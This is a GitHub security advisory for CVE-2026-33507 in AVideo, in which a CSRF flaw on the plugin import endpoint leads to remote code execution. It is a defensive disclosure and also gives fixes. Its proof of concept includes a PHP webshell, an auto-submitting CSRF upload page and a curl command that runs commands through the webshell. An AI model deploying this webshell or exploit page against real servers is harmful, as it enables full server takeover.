GHSA-HV36-P4W4-6VMJ
Vulnerability from github – Published: 2026-03-20 21:47 – Updated: 2026-03-25 20:31Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/include_config.php:134-137):
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
The endpoint only checks User::isAdmin() via the session. There is:
- No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent)
- No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8)
- No Referer or Origin header validation
- No requirement for custom headers (e.g., X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
public function getTags() { return array(); }
public function getDescription() { return "test"; }
public function getName() { return "EvilPlugin"; }
public function getUUID() { return "evil-0000-0000-0000"; }
public function getPluginVersion() { return "1.0"; }
public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL
zip -r evil-plugin.zip EvilPlugin/
Step 2: Host the CSRF exploit page
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
const zipResp = await fetch('evil-plugin.zip');
const zipBlob = await zipResp.blob();
const formData = new FormData();
formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
method: 'POST',
body: formData,
mode: 'no-cors',
credentials: 'include'
});
}
exploit();
</script>
</body>
</html>
Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
- Full server compromise: The webshell runs as the web server user (
www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
- Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The
no-corsmode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
// Add CSRF protection
allowOrigin();
// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
$obj->msg = "Invalid CSRF token";
die(json_encode($obj));
}
2. Update the upload form in view/managerPluginUpload.php to include the token:
<form enctype="multipart/form-data">
<input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
<input id="input-b1" name="input-b1" type="file" class="">
</form>
And pass it in the JavaScript upload config:
$('#input-b1').fileinput({
uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
// ...
});
3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33507"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T21:47:50Z",
"nvd_published_at": "2026-03-23T17:16:51Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = \u0027None\u0027` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n $obj-\u003emsg = \"You are not admin\";\n die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token \u2014 it\u0027s a plain `\u003cform enctype=\"multipart/form-data\"\u003e` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: \u0027no-cors\u0027` and `credentials: \u0027include\u0027` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect \u2014 plugin installation and PHP file extraction to the web-accessible `plugin/` directory \u2014 is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it\u0027s a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file \u2014 passes PluginAbstract validation\ncat \u003e EvilPlugin/EvilPlugin.php \u003c\u003c \u0027PLUG\u0027\n\u003c?php\nclass EvilPlugin extends PluginAbstract {\n public function getTags() { return array(); }\n public function getDescription() { return \"test\"; }\n public function getName() { return \"EvilPlugin\"; }\n public function getUUID() { return \"evil-0000-0000-0000\"; }\n public function getPluginVersion() { return \"1.0\"; }\n public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file \u2014 webshell, NOT checked for PluginAbstract\ncat \u003e EvilPlugin/cmd.php \u003c\u003c \u0027SHELL\u0027\n\u003c?php if(isset($_GET[\u0027c\u0027])) system($_GET[\u0027c\u0027]); ?\u003e\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cscript\u003e\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n const zipResp = await fetch(\u0027evil-plugin.zip\u0027);\n const zipBlob = await zipResp.blob();\n\n const formData = new FormData();\n formData.append(\u0027input-b1\u0027, zipBlob, \u0027evil-plugin.zip\u0027);\n\n fetch(\u0027https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php\u0027, {\n method: \u0027POST\u0027,\n body: formData,\n mode: \u0027no-cors\u0027,\n credentials: \u0027include\u0027\n });\n}\nexploit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Admin visits attacker\u0027s page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin\u0027s `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl \u0027https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin\u0027s session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system \u2014 only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n $obj-\u003emsg = \"You are not admin\";\n die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST[\u0027globalToken\u0027]) || !verifyToken($_POST[\u0027globalToken\u0027])) {\n $obj-\u003emsg = \"Invalid CSRF token\";\n die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n\u003cform enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"globalToken\" value=\"\u003c?php echo getToken(); ?\u003e\"\u003e\n \u003cinput id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\"\u003e\n\u003c/form\u003e\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$(\u0027#input-b1\u0027).fileinput({\n uploadUrl: webSiteRootURL + \u0027objects/pluginImport.json.php\u0027,\n uploadExtraData: { globalToken: $(\u0027input[name=globalToken]\u0027).val() },\n // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
"id": "GHSA-hv36-p4w4-6vmj",
"modified": "2026-03-25T20:31:58Z",
"published": "2026-03-20T21:47:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33507"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.